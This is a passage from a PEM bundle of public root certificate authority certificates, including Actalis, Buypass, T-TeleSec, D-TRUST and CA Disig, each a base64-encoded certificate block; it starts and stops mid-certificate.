EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP 4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG 9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw== -----END CERTIFICATE----- Security Communication RootCA2 ============================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++ +T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R 3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8 QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk 3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29 mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03 -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2011 ======================================================= -----BEGIN CERTIFICATE----- MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1IxRDBCBgNVBAoT O0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9y aXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IFJvb3RDQSAyMDExMB4XDTExMTIwNjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYT AkdSMUQwQgYDVQQKEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IENlcnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNo IEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB AKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPzdYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI 1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJfel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa 71HFK9+WXesyHgLacEnsbgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u 8yBRQlqD75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSPFEDH 3N6sQWRstBmbAmNtJGSPRLIl6s5ddAxjMlyNh+UCAwEAAaOBiTCBhjAPBgNVHRMBAf8EBTADAQH/ MAsGA1UdDwQEAwIBBjAdBgNVHQ4EFgQUppFC/RNhSiOeCKQp5dgTBCPuQSUwRwYDVR0eBEAwPqA8 MAWCAy5ncjAFggMuZXUwBoIELmVkdTAGggQub3JnMAWBAy5ncjAFgQMuZXUwBoEELmVkdTAGgQQu b3JnMA0GCSqGSIb3DQEBBQUAA4IBAQAf73lB4XtuP7KMhjdCSk4cNx6NZrokgclPEg8hwAOXhiVt XdMiKahsog2p6z0GW5k6x8zDmjR/qw7IThzh+uTczQ2+vyT+bOdrwg3IBp5OjWEopmr95fZi6hg8 TqBTnbI6nOulnJEWtk2C4AwFSKls9cz4y51JtPACpf1wA+2KIaWuE4ZJwzNzvoc7dIsXRSZMFpGD /md9zU1jZ/rzAxKWeAaNsWftjj++n08C9bMJL/NMh98qy5V8AcysNnq/onN694/BtZqhFLKPM58N 7yLcZnuEvUUXBj08yrl3NI/K6s8/MT7jiOOASSXIl7WdmplNsDz4SgCbZN2fOUvRJ9e4 -----END CERTIFICATE----- Actalis Authentication Root CA ============================== -----BEGIN CERTIFICATE----- MIIFuzCCA6OgAwIBAgIIVwoRl0LE48wwDQYJKoZIhvcNAQELBQAwazELMAkGA1UEBhMCSVQxDjAM BgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UE AwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290IENBMB4XDTExMDkyMjExMjIwMloXDTMwMDky MjExMjIwMlowazELMAkGA1UEBhMCSVQxDjAMBgNVBAcMBU1pbGFuMSMwIQYDVQQKDBpBY3RhbGlz IFMucC5BLi8wMzM1ODUyMDk2NzEnMCUGA1UEAwweQWN0YWxpcyBBdXRoZW50aWNhdGlvbiBSb290 IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAp8bEpSmkLO/lGMWwUKNvUTufClrJ wkg4CsIcoBh/kbWHuUA/3R1oHwiD1S0eiKD4j1aPbZkCkpAW1V8IbInX4ay8IMKx4INRimlNAJZa by/ARH6jDuSRzVju3PvHHkVH3Se5CAGfpiEd9UEtL0z9KK3giq0itFZljoZUj5NDKd45RnijMCO6 zfB9E1fAXdKDa0hMxKufgFpbOr3JpyI/gCczWw63igxdBzcIy2zSekciRDXFzMwujt0q7bd9Zg1f YVEiVRvjRuPjPdA1YprbrxTIW6HMiRvhMCb8oJsfgadHHwTrozmSBp+Z07/T6k9QnBn+locePGX2 oxgkg4YQ51Q+qDp2JE+BIcXjDwL4k5RHILv+1A7TaLndxHqEguNTVHnd25zS8gebLra8Pu2Fbe8l EfKXGkJh90qX6IuxEAf6ZYGyojnP9zz/GPvG8VqLWeICrHuS0E4UT1lF9gxeKF+w6D9Fz8+vm2/7 hNN3WpVvrJSEnu68wEqPSpP4RCHiMUVhUE4Q2OM1fEwZtN4Fv6MGn8i1zeQf1xcGDXqVdFUNaBr8 EBtiZJ1t4JWgw5QHVw0U5r0F+7if5t+L4sbnfpb2U8WANFAoWPASUHEXMLrmeGO89LKtmyuy/uE5 jF66CyCU3nuDuP/jVo23Eek7jPKxwV2dpAtMK9myGPW1n0sCAwEAAaNjMGEwHQYDVR0OBBYEFFLY iDrIn3hm7YnzezhwlMkCAjbQMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiIOsifeGbt ifN7OHCUyQICNtAwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQALe3KHwGCmSUyI WOYdiPcUZEim2FgKDk8TNd81HdTtBjHIgT5q1d07GjLukD0R0i70jsNjLiNmsGe+b7bAEzlgqqI0 JZN1Ut6nna0Oh4lScWoWPBkdg/iaKWW+9D+a2fDzWochcYBNy+A4mz+7+uAwTc+G02UQGRjRlwKx K3JCaKygvU5a2hi/a5iB0P2avl4VSM0RFbnAKVy06Ij3Pjaut2L9HmLecHgQHEhb2rykOLpn7VU+ Xlff1ANATIGk0k9jpwlCCRT8AKnCgHNPLsBA2RF7SOp6AsDT6ygBJlh0wcBzIm2Tlf05fbsq4/aC 4yyXX04fkZT6/iyj2HYauE2yOE+b+h1IYHkm4vP9qdCa6HCPSXrW5b0KDtst842/6+OkfcvHlXHo 2qN8xcL4dJIEG4aspCJTQLas/kx2z/uUMsA1n3Y/buWQbqCmJqK4LL7RK4X9p2jIugErsWx0Hbhz lefut8cl8ABMALJ+tguLHPPAUJ4lueAI3jZm/zel0btUZCzJJ7VLkn5l/9Mt4blOvH+kQSGQQXem OR/qnuOf0GZvBeyqdn6/axag67XH/JJULysRJyU3eExRarDzzFhdFPFqSBX/wge2sY0PjlxQRrM9 vwGYT7JZVEc+NHt4bVaTLnPqZih4zR0Uv6CPLy64Lo7yFIrM6bV8+2ydDKXhlg== -----END CERTIFICATE----- Buypass Class 2 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1 g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn 9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b /+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0 oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN rJgWVqA= -----END CERTIFICATE----- Buypass Class 3 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR 5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh 7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH 2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV /afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8 ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2 KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz 6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi Cp/HuZc= -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 3 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK 9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W 0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw== -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 2009 ============================== -----BEGIN CERTIFICATE----- MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ 4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm 2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0 o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I= -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 EV 2009 ================================= -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T 7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60 sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35 11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+ PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05 nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv w9y4AyHqnxbxLFS1 -----END CERTIFICATE----- CA Disig Root R2 ================ -----BEGIN CERTIFICATE----- MIIFaTCCA1GgAwIBAgIJAJK4iNuwisFjMA0GCSqGSIb3DQEBCwUAMFIxCzAJBgNVBAYTAlNLMRMw EQYDVQQHEwpCcmF0aXNsYXZhMRMwEQYDVQQKEwpEaXNpZyBhLnMuMRkwFwYDVQQDExBDQSBEaXNp ZyBSb290IFIyMB4XDTEyMDcxOTA5MTUzMFoXDTQyMDcxOTA5MTUzMFowUjELMAkGA1UEBhMCU0sx EzARBgNVBAcTCkJyYXRpc2xhdmExEzARBgNVBAoTCkRpc2lnIGEucy4xGTAXBgNVBAMTEENBIERp c2lnIFJvb3QgUjIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCio8QACdaFXS1tFPbC w3OeNcJxVX6B+6tGUODBfEl45qt5WDza/3wcn9iXAng+a0EE6UG9vgMsRfYvZNSrXaNHPWSb6Wia xswbP7q+sos0Ai6YVRn8jG+qX9pMzk0DIaPY0jSTVpbLTAwAFjxfGs3Ix2ymrdMxp7zo5eFm1tL7 A7RBZckQrg4FY8aAamkw/dLukO8NJ9+flXP04SXabBbeQTg06ov80egEFGEtQX6sx3dOy1FU+16S GBsEWmjGycT6txOgmLcRK7fWV8x8nhfRyyX+hk4kLlYMeE2eARKmK6cBZW58Yh2EhN/qwGu1pSqV g8NTEQxzHQuyRpDRQjrOQG6Vrf/GlK1ul4SOfW+eioANSW1z4nuSHsPzwfPrLgVv2RvPN3YEyLRa 5Beny912H9AZdugsBbPWnDTYltxhh5EF5EQIM8HauQhl1K6yNg3ruji6DOWbnuuNZt2Zz9aJQfYE koopKW1rOhzndX0CcQ7zwOe9yxndnWCywmZgtrEE7snmhrmaZkCo5xHtgUUDi/ZnWejBBhG93c+A Ak9lQHhcR1DIm+YfgXvkRKhbhZri3lrVx/k6RGZL5DJUfORsnLMOPReisjQS1n6yqEm70XooQL6i Fh/f5DcfEXP7kAplQ6INfPgGAVUzfbANuPT1rqVCV3w2EYx7XsQDnYx5nQIDAQABo0IwQDAPBgNV HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUtZn4r7CU9eMg1gqtzk5WpC5u Qu0wDQYJKoZIhvcNAQELBQADggIBACYGXnDnZTPIgm7ZnBc6G3pmsgH2eDtpXi/q/075KMOYKmFM tCQSin1tERT3nLXK5ryeJ45MGcipvXrA1zYObYVybqjGom32+nNjf7xueQgcnYqfGopTpti72TVV sRHFqQOzVju5hJMiXn7B9hJSi+osZ7z+Nkz1uM/Rs0mSO9MpDpkblvdhuDvEK7Z4bLQjb/D907Je dR+Zlais9trhxTF7+9FGs9K8Z7RiVLoJ92Owk6Ka+elSLotgEqv89WBW7xBci8QaQtyDW2QOy7W8 1k/BfDxujRNt+3vrMNDcTa/F1balTFtxyegxvug4BkihGuLq0t4SOVga/4AOgnXmt8kHbA7v/zjx mHHEt38OFdAlab0inSvtBfZGR6ztwPDUO+Ls7pZbkBNOHlY667DvlruWIxG68kOGdGSVyCh13x01 utI3gzhTODY7z2zp+WsO0PsE6E9312UBeIYMej4hYvF/Y3EMyZ9E26gnonW+boE+18DrG5gPcFw0 sorMwIUY6256s/daoQe/qUKS82Ail+QUoQebTnbAjn39pCXHR+3/H3OszMOl6W8KjptlwlCFtaOg 